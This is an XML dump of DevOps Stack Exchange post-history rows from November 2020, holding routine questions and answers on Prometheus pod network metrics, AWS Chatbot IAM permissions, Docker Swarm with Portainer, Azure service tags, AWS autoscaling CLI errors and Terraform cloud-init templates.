  <row Id="39288" PostHistoryTypeId="3" PostId="12808" RevisionGUID="a6cbf0f1-f347-41d6-8160-6934ea4ca401" CreationDate="2020-11-20T14:26:51.513" UserId="24826" Text="&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39289" PostHistoryTypeId="5" PostId="12808" RevisionGUID="db2b4162-e0fc-499c-a564-11a5cabfdbfe" CreationDate="2020-11-20T14:32:53.293" UserId="24826" Comment="add source of mentionned metrics" Text="### Context&#xD;&#xA;&#xD;&#xA;I am trying to chart the network bandwidth usage of a node in 2 different manners:&#xD;&#xA;&#xD;&#xA; 1. By looking at global metrics for that node&#xD;&#xA; 2. By summing up the corresponding metric for each Pod&#xD;&#xA;&#xD;&#xA;To achieve this, I am issuing the following Prometheus queries (_example for the receive bandwidth_):&#xD;&#xA;&#xD;&#xA;* For the entire node (_metric from node-exporter_)&#xD;&#xA;&#xD;&#xA;    ```promql&#xD;&#xA;    sum(irate(node_network_receive_bytes_total{instance=&quot;10.142.0.54:9100&quot;}[$__rate_interval])) by (device)&#xD;&#xA;    ```&#xD;&#xA;&#xD;&#xA;* Per Pod (_metric from kubelet_)&#xD;&#xA;&#xD;&#xA;    ```promql&#xD;&#xA;    sum(irate(container_network_receive_bytes_total{node=&quot;$node&quot;,container!=&quot;&quot;}[$__rate_interval])) by (pod,interface)&#xD;&#xA;    ```&#xD;&#xA;&#xD;&#xA;The results are displayed in the following Grafana dashboard, after generating some load on a HTTP service called `thrpt-receiver`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![Receive bandwidth][1]][1]&#xD;&#xA;&#xD;&#xA;### Problem&#xD;&#xA;&#xD;&#xA;As you can see, results are vastly different, to the point I'm almost certain I am doing something wrong, but what?&#xD;&#xA;&#xD;&#xA;What makes me especially suspicious about the Pod metrics is the supposedly increasing received bandwidth of kube-proxy (which AFAIK is not supposed to be receiving any traffic in iptables mode), and agents such as the Prometheus node-exporter, etc. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/sZtI5.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39290" PostHistoryTypeId="5" PostId="12808" RevisionGUID="1b1a4213-0199-464e-bce7-50ef6973c22e" CreationDate="2020-11-20T14:40:47.810" UserId="24826" Comment="add graph of raw metrics" Text="### Context&#xD;&#xA;&#xD;&#xA;I am trying to chart the network bandwidth usage of a node in 2 different manners:&#xD;&#xA;&#xD;&#xA; 1. By looking at global metrics for that node&#xD;&#xA; 2. By summing up the corresponding metric for each Pod&#xD;&#xA;&#xD;&#xA;To achieve this, I am issuing the following Prometheus queries (_example for the receive bandwidth_):&#xD;&#xA;&#xD;&#xA;* For the entire node (_metric from node-exporter_)&#xD;&#xA;&#xD;&#xA;    ```promql&#xD;&#xA;    sum(irate(node_network_receive_bytes_total{instance=&quot;10.142.0.54:9100&quot;}[$__rate_interval])) by (device)&#xD;&#xA;    ```&#xD;&#xA;&#xD;&#xA;* Per Pod (_metric from kubelet_)&#xD;&#xA;&#xD;&#xA;    ```promql&#xD;&#xA;    sum(irate(container_network_receive_bytes_total{node=&quot;$node&quot;,container!=&quot;&quot;}[$__rate_interval])) by (pod,interface)&#xD;&#xA;    ```&#xD;&#xA;&#xD;&#xA;The results are displayed in the following Grafana dashboard, after generating some load on a HTTP service called `thrpt-receiver`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![Receive bandwidth][1]][1]&#xD;&#xA;&#xD;&#xA;Here's what I see if I look at the raw metrics, without `sum()` and `irate()` applied:&#xD;&#xA;&#xD;&#xA;[![Received bytes][2]][2]&#xD;&#xA;&#xD;&#xA;### Problem&#xD;&#xA;&#xD;&#xA;As you can see, results are vastly different, to the point I'm almost certain I am doing something wrong, but what?&#xD;&#xA;&#xD;&#xA;What makes me especially suspicious about the Pod metrics is the supposedly increasing received bandwidth of kube-proxy (which AFAIK is not supposed to be receiving any traffic in iptables mode), and agents such as the Prometheus node-exporter, etc. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/sZtI5.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/ASC5X.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39292" PostHistoryTypeId="2" PostId="12809" RevisionGUID="ec912fe3-e903-4fd2-8ca8-86ab6dbbb47b" CreationDate="2020-11-20T17:35:31.547" UserId="7770" Text="The AWS service called [Chatbot](https://aws.amazon.com/chatbot/) allows CloudWatch Alarms to be relayed into a Slack channel. The message includes two buttons: **Show logs** and **Show error logs**.&#xD;&#xA;&#xD;&#xA;[![Slack message with attached buttons for Show logs and Show error logs][1]][1]&#xD;&#xA;&#xD;&#xA;However, when I press either of these buttons, I receive an error message like this:&#xD;&#xA;&#xD;&#xA;&gt; ❗️ I can't get the logs for you because the role **arn:aws:iam::123412341234:role/my-chatbot** in account **123412341234** is missing necessary permissions related to commands.&#xD;&#xA;&gt; &#xD;&#xA;&gt; If you want to get logs, go to the AWS Chatbot console and choose or create a role that includes **Read-only command permission** for this channel.&#xD;&#xA;&#xD;&#xA;However, the recommended way of accomplishing this (the way automatically set up by AWS Console) grants Chatbot the `ReadOnlyAccess` policy which is **way too permissive** for my tastes. I don't want Chatbot to be able to read any object from any of our S3 buckets!&#xD;&#xA;&#xD;&#xA;What is the minimal IAM policy that enables Chatbot to read CloudWatch Logs for Lambda functions?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/GsLSI.png&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39293" PostHistoryTypeId="1" PostId="12809" RevisionGUID="ec912fe3-e903-4fd2-8ca8-86ab6dbbb47b" CreationDate="2020-11-20T17:35:31.547" UserId="7770" Text="What minimal IAM permissions are needed by AWS Chatbot so that it can show logs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39294" PostHistoryTypeId="3" PostId="12809" RevisionGUID="ec912fe3-e903-4fd2-8ca8-86ab6dbbb47b" CreationDate="2020-11-20T17:35:31.547" UserId="7770" Text="&lt;amazon-web-services&gt;&lt;chatops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39295" PostHistoryTypeId="2" PostId="12810" RevisionGUID="8fc4f32a-d6f2-4b91-a4bc-b54dd62f079f" CreationDate="2020-11-20T18:07:35.770" UserId="7770" Text="AWS Chatbot uses CloudWatch Logs Insights, so the IAM policy for Chatbot must include these two statements:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;    &quot;Sid&quot;: &quot;QueryLogs&quot;,&#xD;&#xA;    &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;    &quot;Action&quot;: [&#xD;&#xA;        &quot;logs:StopQuery&quot;,&#xD;&#xA;        &quot;logs:StartQuery&quot;,&#xD;&#xA;        &quot;logs:DescribeQueries&quot;&#xD;&#xA;    ],&#xD;&#xA;    &quot;Resource&quot;: &quot;arn:aws:logs:::log-group:/aws/lambda/*&quot;&#xD;&#xA;},&#xD;&#xA;{&#xD;&#xA;    &quot;Sid&quot;: &quot;GetQueryResults&quot;,&#xD;&#xA;    &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;    &quot;Action&quot;: &quot;logs:GetQueryResults&quot;,&#xD;&#xA;    &quot;Resource&quot;: &quot;*&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With these statements in place, pressing the logs button will yield an initial message from Chatbot like this:&#xD;&#xA;&#xD;&#xA;&gt; I ran this CloudWatch Logs Insights query to fetch logs from **2020-11-18T09:02 UTC** to **2020-11-18T09:07 UTC**.&#xD;&#xA;&#xD;&#xA;... as well as several follow-up messages containing a plaintext dump of the logs." ContentLicense="CC BY-SA 4.0" />
  <row Id="39296" PostHistoryTypeId="2" PostId="12811" RevisionGUID="57dafb9d-fa51-4204-a0d4-85289f52a553" CreationDate="2020-11-20T19:43:10.713" UserId="24826" Text="I found out what was happening in my graphs. All the Pods mentioned above have one thing in common: they use the host's network namespace, so their network metrics are _all identical_, and equal to the global _host's metric_ (just with a slightly different precision).&#xD;&#xA;&#xD;&#xA;```console&#xD;&#xA;$ kubectl - monitoring get pod -o jsonpath='{.spec.hostNetwork}' \&#xD;&#xA;    prometheus-stack-prometheus-node-exporter-jnhw7&#xD;&#xA;&#xD;&#xA;true&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```console&#xD;&#xA;$ kubectl -n kube-system get pod -o jsonpath='{.items[*].spec.hostNetwork}' \&#xD;&#xA;    kube-proxy-gke-triggermesh-product-control-plane-7fc0ad24-z586 \&#xD;&#xA;    gke-metrics-agent-5cv4m \&#xD;&#xA;    prometheus-to-sd-tk8jv \&#xD;&#xA;    fluentbit-gke-xh879&#xD;&#xA;&#xD;&#xA;true true true true &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;One way to see it is to compare the host's metric to _one_ of the above Pods:&#xD;&#xA;&#xD;&#xA;[![Comparison of eth0 and a Pod with hostNetwork][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/RHQiT.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39297" PostHistoryTypeId="2" PostId="12812" RevisionGUID="01734015-4149-473a-871e-887c6b9a30eb" CreationDate="2020-11-20T20:11:44.810" UserId="24829" Text="Currently i use AWS ELB `--single` instances do deploy &amp; manage multiple versions of the same `nodejs` app (over 10), which differ only by the configuration. Each app is running some endless process 24/7. I want to be able to manage (start/stop/update) them separately and efficiently. Currently it's very easy to do so with `elb deploy` command. &#xD;&#xA;&#xD;&#xA;However, the costs went seriously up lately (while the load increased just by 10-20%). About half of the cost is the data transfer and 40% is the EC2 instances themselves (`t2.nano`).&#xD;&#xA;&#xD;&#xA;Would the use of Google Cloud be more cost efficient? and more importantly, is there a similar way do deploy and manage 10x instances of the same app? Sure when i finish reading all the docs, i might have an idea, but hoping to get some advise about the direction of research or probably about the solution itself. " ContentLicense="CC BY-SA 4.0" />
  <row Id="39298" PostHistoryTypeId="1" PostId="12812" RevisionGUID="01734015-4149-473a-871e-887c6b9a30eb" CreationDate="2020-11-20T20:11:44.810" UserId="24829" Text="AWS elb vs google cloud for multiple small nodejs mini-apps deployment" ContentLicense="CC BY-SA 4.0" />
  <row Id="39299" PostHistoryTypeId="3" PostId="12812" RevisionGUID="01734015-4149-473a-871e-887c6b9a30eb" CreationDate="2020-11-20T20:11:44.810" UserId="24829" Text="&lt;amazon-ec2&gt;&lt;google-cloud-platform&gt;&lt;aws-elb&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39300" PostHistoryTypeId="2" PostId="12813" RevisionGUID="a7da72bf-2578-447a-b8c7-7db69bfc6153" CreationDate="2020-11-20T20:39:49.153" UserId="24830" Text="I have a couple separate instance groups, and `kubectl top nodes` will display the CPU and Memory usage of all nodes. I'd like to be able to just ask for the information for a specific instance group if possible. " ContentLicense="CC BY-SA 4.0" />
  <row Id="39301" PostHistoryTypeId="1" PostId="12813" RevisionGUID="a7da72bf-2578-447a-b8c7-7db69bfc6153" CreationDate="2020-11-20T20:39:49.153" UserId="24830" Text="How to get CPU and Memory usage of nodes in a specific Kubernetes instance group?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39302" PostHistoryTypeId="3" PostId="12813" RevisionGUID="a7da72bf-2578-447a-b8c7-7db69bfc6153" CreationDate="2020-11-20T20:39:49.153" UserId="24830" Text="&lt;kubernetes&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39303" PostHistoryTypeId="2" PostId="12814" RevisionGUID="b038eb16-2361-4ad7-8cd1-9a2572a86226" CreationDate="2020-11-20T23:29:33.017" UserId="24832" Text="You could use dynamic child pipelines. (https://docs.gitlab.com/ee/ci/parent_child_pipelines.html#dynamic-child-pipelines).&#xD;&#xA;&#xD;&#xA;You could create a job for triggering your job &quot;buildArtifact&quot; in a yml-file created with jsonnet in your &quot;checkArtifactPresent&quot;.&#xD;&#xA;With using &quot;--ext-str&quot; or &quot;--ext-code&quot; in jsonnet the creation of yml can be controlled (https://jsonnet.org/learning/tutorial.html#parameterize-entire-config).&#xD;&#xA;&#xD;&#xA;Read more https://jsonnet.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="39316" PostHistoryTypeId="50" PostId="12615" RevisionGUID="d0d27f15-9aac-451d-bd18-6b7c89c177e5" CreationDate="2020-11-21T17:06:30.683" UserId="-1" />
  <row Id="39319" PostHistoryTypeId="50" PostId="12620" RevisionGUID="0a720154-d835-46ca-ba53-ca9810af8a3d" CreationDate="2020-11-21T21:06:30.580" UserId="-1" />
  <row Id="39320" PostHistoryTypeId="2" PostId="12816" RevisionGUID="cca2b336-c0dc-4be6-aae4-f145364c55b6" CreationDate="2020-11-21T21:14:10.753" UserId="24841" Text="**Goal**&#xD;&#xA;&#xD;&#xA;I want to use the [service tags REST API endpoint](https://docs.microsoft.com/en-us/rest/api/virtualnetwork/servicetags/list) to get all the AzureCloud datacenter public IP addresses.&#xD;&#xA;&#xD;&#xA;I am aware that I could manually download the generated `json` file from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=56519).&#xD;&#xA;&#xD;&#xA;My end goal is to use the endpoint to programmatically automate a task.&#xD;&#xA;&#xD;&#xA;**Problem**&#xD;&#xA;&#xD;&#xA;I can get a response with status code 200 of about 46k lines, but the AzureCloud tag is nowhere in the response body. It skips from AzureBotService to AzureCognitiveSearch. I believe AzureCloud should be between those two tags.&#xD;&#xA;&#xD;&#xA;**Steps**&#xD;&#xA;&#xD;&#xA;Firstly, I created an account using the AZ CLI tool with `az ad sp create-for-rbac -n &quot;MyApp&quot;`.&#xD;&#xA;&#xD;&#xA;With a tenant ID, app ID/client ID, password/client secret, subscription ID. I can use `https://login.microsoftonline.com/{{ tenant_id }}/oauth2/token` to get a bearer token.&#xD;&#xA;&#xD;&#xA;Using the bearer token, I can query the service tags using `https://management.azure.com/subscriptions/{{ subscription_id }}/providers/Microsoft.Network/locations/eastus/serviceTags?api-version=2020-05-01`.&#xD;&#xA;&#xD;&#xA;**What I've done**&#xD;&#xA;&#xD;&#xA;I came across a [GitHub issue](https://github.com/Azure/azure-cli/issues/12689) that is somewhat related to my problem stating that by design, we cannot get all the datacenter public IPs if the user does not have subscription level rights.&#xD;&#xA;&#xD;&#xA;I tried the following commands to try to give subscription scope rights to my app, but to no avail:&#xD;&#xA;&#xD;&#xA;- `az ad sp create-for-rbac -n &quot;MyApp2&quot; --role reader --scopes &quot;/subscriptions/{{ subscription_id }}&quot;` to create a new account while specifying reader role and scope of the subscription. (I have retried the API with the new IDs as well).&#xD;&#xA;&#xD;&#xA;- `az role assignment create --assignee &quot;{{ app_id }}&quot; --role &quot;Reader&quot; --scope &quot;/subscriptions/{{ subscription_id }}&quot;` to create a new role and specify scope.&#xD;&#xA;&#xD;&#xA;- `az role assignment create --assignee &quot;{{ app_id }}&quot; --role &quot;Owner&quot; --subscription &quot;{{ subscription_id }}&quot;` to create a new role and specify subscription.&#xD;&#xA;&#xD;&#xA;My app still has the scope set to &quot;This resource&quot;.&#xD;&#xA;&#xD;&#xA;I suspect there is something I am misunderstanding about Azure, given I am completely new to Azure (just created a free trial account yesterday).&#xD;&#xA;&#xD;&#xA;All help will be appreciated, thank you!" ContentLicense="CC BY-SA 4.0" />
  <row Id="39321" PostHistoryTypeId="1" PostId="12816" RevisionGUID="cca2b336-c0dc-4be6-aae4-f145364c55b6" CreationDate="2020-11-21T21:14:10.753" UserId="24841" Text="Azure service tags REST API and subscription level rights" ContentLicense="CC BY-SA 4.0" />
  <row Id="39322" PostHistoryTypeId="3" PostId="12816" RevisionGUID="cca2b336-c0dc-4be6-aae4-f145364c55b6" CreationDate="2020-11-21T21:14:10.753" UserId="24841" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39323" PostHistoryTypeId="10" PostId="12780" RevisionGUID="840f3347-cd7d-43c6-b7be-c2ccded044ef" CreationDate="2020-11-22T10:07:28.260" UserId="40" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="39324" PostHistoryTypeId="2" PostId="12817" RevisionGUID="4f9944d1-1ceb-432c-bcca-71cf41310671" CreationDate="2020-11-22T11:25:37.240" UserId="21718" Text="Currently I try to setup docker-swarm using two nodes and deploy portainer on them.&#xD;&#xA;&#xD;&#xA;Both nodes are virtual machines on the same host and are on the same network (172.16.255.255). Addtionally there is a firewall in these local network providing a VPN server (255.255.0.0). The VPN routes requests to 172.16.255.255 in the local network (e. g. 10.0.0.3 can access 172.16.0.80). No ports are blocked.  &#xD;&#xA;I have no trouble accessing the virtual machines (e. g. by ssh).&#xD;&#xA;&#xD;&#xA;I followed the install installation instructions on [portainer.io][portainer-install].&#xD;&#xA;&#xD;&#xA;Compose File:&#xD;&#xA;```&#xD;&#xA;version: '3.2'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  agent:&#xD;&#xA;    image: portainer/agent&#xD;&#xA;    volumes:&#xD;&#xA;      - /var/run/docker.sock:/var/run/docker.sock&#xD;&#xA;      - /var/lib/docker/volumes:/var/lib/docker/volumes&#xD;&#xA;    networks:&#xD;&#xA;      - agent_network&#xD;&#xA;    deploy:&#xD;&#xA;      mode: global&#xD;&#xA;      placement:&#xD;&#xA;        constraints: [node.platform.os == linux]&#xD;&#xA;&#xD;&#xA;  portainer:&#xD;&#xA;    image: portainer/portainer-ce&#xD;&#xA;    command: -H tcp://tasks.agent:9001 --tlsskipverify&#xD;&#xA;    ports:&#xD;&#xA;      - 9000:9000&#xD;&#xA;      - 8000:8000&#xD;&#xA;    volumes:&#xD;&#xA;      - portainer_data:/data&#xD;&#xA;    networks:&#xD;&#xA;      - agent_network&#xD;&#xA;    deploy:&#xD;&#xA;      mode: replicated&#xD;&#xA;      replicas: 1&#xD;&#xA;      placement:&#xD;&#xA;        constraints: [node.role == manager]&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  agent_network:&#xD;&#xA;    driver: overlay&#xD;&#xA;    attachable: true&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  portainer_data:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Run  command:&#xD;&#xA;```&#xD;&#xA;docker stack deploy --compose-file=portainer-agent-stack.yml portainer&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The stack is successfully deployed and I can access the portainer UI as long as I'm in the local network. The UI is even accessible from other virtual machines, which are not part of the swarm.&#xD;&#xA;&#xD;&#xA;But when I try to access the UI from my VPN, I get a timeout (SYN, but no ACK).  &#xD;&#xA;This happen for other container as well (e. g. I tried to test it with jwilder/whoami for different ports).&#xD;&#xA;&#xD;&#xA;When I setup a container, with identical settings, without swarm, the service is accessiable via VPN.&#xD;&#xA;&#xD;&#xA;  [portainer-install]: https://www.portainer.io/installation/" ContentLicense="CC BY-SA 4.0" />
  <row Id="39325" PostHistoryTypeId="1" PostId="12817" RevisionGUID="4f9944d1-1ceb-432c-bcca-71cf41310671" CreationDate="2020-11-22T11:25:37.240" UserId="21718" Text="Cannot access service using docker-swarn, but without" ContentLicense="CC BY-SA 4.0" />
  <row Id="39326" PostHistoryTypeId="3" PostId="12817" RevisionGUID="4f9944d1-1ceb-432c-bcca-71cf41310671" CreationDate="2020-11-22T11:25:37.240" UserId="21718" Text="&lt;docker&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39327" PostHistoryTypeId="2" PostId="12818" RevisionGUID="cb2deb64-f4d4-4fdd-8463-d6b86669abdb" CreationDate="2020-11-22T12:17:24.620" UserId="17276" Text="my scheduled action is called training &#xD;&#xA;my ASG is called temp_4_jenkins as I was planning to set up a pipeline on a Jenkins on my personal account to run the CLI commands.&#xD;&#xA;&#xD;&#xA;    aws application-autoscaling put-scheduled-action --service-namespace ec2 \&#xD;&#xA;      --scalable-dimension ec2:instance:1 \&#xD;&#xA;      --resource-id instance/t2.micro \&#xD;&#xA;      --scheduled-action-name training \&#xD;&#xA;      --schedule &quot;cron(10 9 * * *)&quot; \&#xD;&#xA;      --scalable-target-action MinCapacity=0,MaxCapacity=0&#xD;&#xA;&#xD;&#xA;I get back the error &#xD;&#xA;&#xD;&#xA;An error occurred (ValidationException) when calling the PutScheduledAction operation: 1 validation error detected: Value 'ec2:instance:1' at 'scalableDimension' failed to satisfy constraint: Member must satisfy enum value set: [cassandra:table:ReadCapacityUnits, dynamodb:table:ReadCapacityUnits, dynamodb:index:ReadCapacityUnits, rds:cluster:ReadReplicaCount, comprehend:document-classifier-endpoint:DesiredInferenceUnits, elasticmapreduce:instancefleet:SpotCapacity, lambda:function:ProvisionedConcurrency, comprehend:entity-recognizer-endpoint:DesiredInferenceUnits, appstream:fleet:DesiredCapacity, dynamodb:index:WriteCapacityUnits, elasticmapreduce:instancefleet:OnDemandCapacity, rds:cluster:Capacity, cassandra:table:WriteCapacityUnits, dynamodb:table:WriteCapacityUnits, elasticache:replication-group:Shards, custom-resource:ResourceType:Property, sagemaker:variant:DesiredInstanceCount, kafka:broker-storage:VolumeSize, ec2:spot-fleet-request:TargetCapacity, elasticache:replication-group:Replicas, elasticmapreduce:instancegroup:InstanceCount, ecs:service:DesiredCount]&#xD;&#xA;&#xD;&#xA;I found the command in the docs&#xD;&#xA;https://docs.aws.amazon.com/autoscaling/application/userguide/application-auto-scaling-scheduled-scaling.html&#xD;&#xA;&#xD;&#xA;Then tried to modify it to ec2s instances?&#xD;&#xA;&#xD;&#xA;I might be being thick but why is the error talking about RDS and fleets I want to edit the schedule on my auto-scaling group to change the number of ec2s that get spun up?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39328" PostHistoryTypeId="1" PostId="12818" RevisionGUID="cb2deb64-f4d4-4fdd-8463-d6b86669abdb" CreationDate="2020-11-22T12:17:24.620" UserId="17276" Text="How do I edit my AWS ASG scheduled action useing the aws CLI" ContentLicense="CC BY-SA 4.0" />
  <row Id="39329" PostHistoryTypeId="3" PostId="12818" RevisionGUID="cb2deb64-f4d4-4fdd-8463-d6b86669abdb" CreationDate="2020-11-22T12:17:24.620" UserId="17276" Text="&lt;aws-cli&gt;&lt;asg&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39330" PostHistoryTypeId="2" PostId="12819" RevisionGUID="ea4e9879-3098-4c2b-8a1e-7d1ec0dfc9d8" CreationDate="2020-11-22T15:03:15.343" UserId="24846" Text="I recently discovered `template_cloudinit_config` within Terraform, and I'm hoping I can utilize it to specify something like the code below. Basically my goal is to declare a core `template_cloudinit_config` that contains a number of shell scripts that should get run on every machine.&#xD;&#xA;&#xD;&#xA;Then I'd like to declare a 2nd `template_cloudinit_config` that, without duplicating code, lets me essentially inherit the core set of scripts that should get applied to every instance AND define an additional script to run.&#xD;&#xA;&#xD;&#xA;That way from a compute perspective, I could easily create specialized instances that have custom scripts applied to them, but still inherit a number of basic configurations. I know I could make this work with remote-exec provisioners, but I am trying to avoid them since [Terraform says they should be used as a last resort](https://www.terraform.io/docs/provisioners/).&#xD;&#xA;&#xD;&#xA;```terraform&#xD;&#xA;data &quot;template_cloudinit_config&quot; &quot;core_config&quot; {&#xD;&#xA;  part {&#xD;&#xA;    content_type = &quot;text/x-shellscript&quot;&#xD;&#xA;    content      = file(&quot;scripts/core_script1.sh&quot;)&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  part {&#xD;&#xA;    content_type = &quot;text/x-shellscript&quot;&#xD;&#xA;    content      = file(&quot;scripts/core_script2.sh&quot;)&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;data &quot;template_cloudinit_config&quot; &quot;custom_config&quot; {&#xD;&#xA;  part {&#xD;&#xA;	content     = &quot;${data.template_cloudinit_config.core_config.rendered}&quot;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  part {&#xD;&#xA;    content_type = &quot;text/x-shellscript&quot;&#xD;&#xA;    content      = file(&quot;scripts/custom_script.sh&quot;)&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_instance&quot; &quot;vm1&quot; {&#xD;&#xA;  instance_type = &quot;t2.small&quot;&#xD;&#xA;  ami           = data.aws_ami.ubuntu_ami.image_id&#xD;&#xA;  &#xD;&#xA;  # Other variables that declare subnet, key, etc&#xD;&#xA;&#xD;&#xA;  user_data = &quot;${data.template_cloudinit_config.core_config.rendered}&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_instance&quot; &quot;vm2&quot; {&#xD;&#xA;  instance_type = &quot;t2.small&quot;&#xD;&#xA;  ami           = data.aws_ami.ubuntu_ami.image_id&#xD;&#xA;  &#xD;&#xA;  # Other variables that declare subnet, key, etc&#xD;&#xA;&#xD;&#xA;  user_data = &quot;${data.template_cloudinit_config.custom_config.rendered}&quot;&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="39331" PostHistoryTypeId="1" PostId="12819" RevisionGUID="ea4e9879-3098-4c2b-8a1e-7d1ec0dfc9d8" CreationDate="2020-11-22T15:03:15.343" UserId="24846" Text="Can you inherit a template_cloudinit_config in another template_cloudinit_config object in Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39332" PostHistoryTypeId="3" PostId="12819" RevisionGUID="ea4e9879-3098-4c2b-8a1e-7d1ec0dfc9d8" CreationDate="2020-11-22T15:03:15.343" UserId="24846" Text="&lt;terraform&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39333" PostHistoryTypeId="5" PostId="12818" RevisionGUID="5f5acbaa-853b-4e0e-840c-d4427462911d" CreationDate="2020-11-22T15:56:59.773" UserId="17276" Comment="added 14 characters in body" Text="my scheduled action is called training &#xD;&#xA;my ASG is called temp_4_jenkins as I was planning to set up a pipeline on a Jenkins on my personal account to run the CLI commands.&#xD;&#xA;&#xD;&#xA;    aws application-autoscaling put-scheduled-action --service-namespace ec2 \&#xD;&#xA;      --scalable-dimension ec2:instance:1 \&#xD;&#xA;      --resource-id instance/t2.micro \&#xD;&#xA;      --scheduled-action-name training \&#xD;&#xA;      --schedule &quot;cron(10 9 * * *)&quot; \&#xD;&#xA;      --scalable-target-action MinCapacity=0,MaxCapacity=0&#xD;&#xA;&#xD;&#xA;I get back the error &#xD;&#xA;&#xD;&#xA;An error occurred (ValidationException) when calling the PutScheduledAction operation: 1 validation error detected: Value 'ec2:instance:1' at 'scalableDimension' failed to satisfy constraint: Member must satisfy enum value set: [cassandra:table:ReadCapacityUnits, dynamodb:table:ReadCapacityUnits, dynamodb:index:ReadCapacityUnits, rds:cluster:ReadReplicaCount, comprehend:document-classifier-endpoint:DesiredInferenceUnits, elasticmapreduce:instancefleet:SpotCapacity, lambda:function:ProvisionedConcurrency, comprehend:entity-recognizer-endpoint:DesiredInferenceUnits, appstream:fleet:DesiredCapacity, dynamodb:index:WriteCapacityUnits, elasticmapreduce:instancefleet:OnDemandCapacity, rds:cluster:Capacity, cassandra:table:WriteCapacityUnits, dynamodb:table:WriteCapacityUnits, elasticache:replication-group:Shards, custom-resource:ResourceType:Property, sagemaker:variant:DesiredInstanceCount, kafka:broker-storage:VolumeSize, ec2:spot-fleet-request:TargetCapacity, elasticache:replication-group:Replicas, elasticmapreduce:instancegroup:InstanceCount, ecs:service:DesiredCount]&#xD;&#xA;&#xD;&#xA;I found the command in the docs&#xD;&#xA;https://docs.aws.amazon.com/autoscaling/application/userguide/application-auto-scaling-scheduled-scaling.html&#xD;&#xA;&#xD;&#xA;Then tried to modify it to ec2s instances?&#xD;&#xA;&#xD;&#xA;I might be missing something obvious but why is the error talking about RDS and fleets I want to edit the schedule on my auto-scaling group to change the number of ec2s that get spun up?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39334" PostHistoryTypeId="50" PostId="12607" RevisionGUID="e9446bb2-c1f4-4a9d-a6cb-313ba56510e0" CreationDate="2020-11-22T16:02:00.207" UserId="-1" />
  <row Id="39335" PostHistoryTypeId="2" PostId="12820" RevisionGUID="945f6b96-a714-4118-9e0d-5dae0ac4ce88" CreationDate="2020-11-22T16:11:06.727" UserId="24402" Text="In case anyone ever finds this question: I didn't find a satisfying answer. My workaround was to write my variables to a text file in the build and then publish it, download it in the deployment and publish the values as output variables to a bash task. Looks something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;source file_containing_your_vars.txt&#xD;&#xA;echo &quot;##vso[task.setvariable variable=var1;isoutput=true]$var1&quot;&#xD;&#xA;```&#xD;&#xA;the output variables parameters of this bash would need some reference name, for example job_out and you would then be able to reference the variables from other jobs in that stage like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;variables['job_out.var1']&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If you are running a yaml deployment pipeline (instead of one made in the portal) you can even use job output variable between stages.&#xD;&#xA;&#xD;&#xA;For portal pipelines that want to share variables between stages this exists and seems to have helped some people but I didn't get it to work:&#xD;&#xA;https://stackoverflow.com/questions/53042605/how-to-modify-azure-devops-release-definition-variable-from-a-release-task/53060141#53060141" ContentLicense="CC BY-SA 4.0" />
  <row Id="39336" PostHistoryTypeId="4" PostId="12817" RevisionGUID="c723eb79-c281-4316-be6b-ef03ae77af3e" CreationDate="2020-11-22T16:12:30.360" UserId="21718" Comment="edited title" Text="Cannot access service using docker-swarm, but without" ContentLicense="CC BY-SA 4.0" />
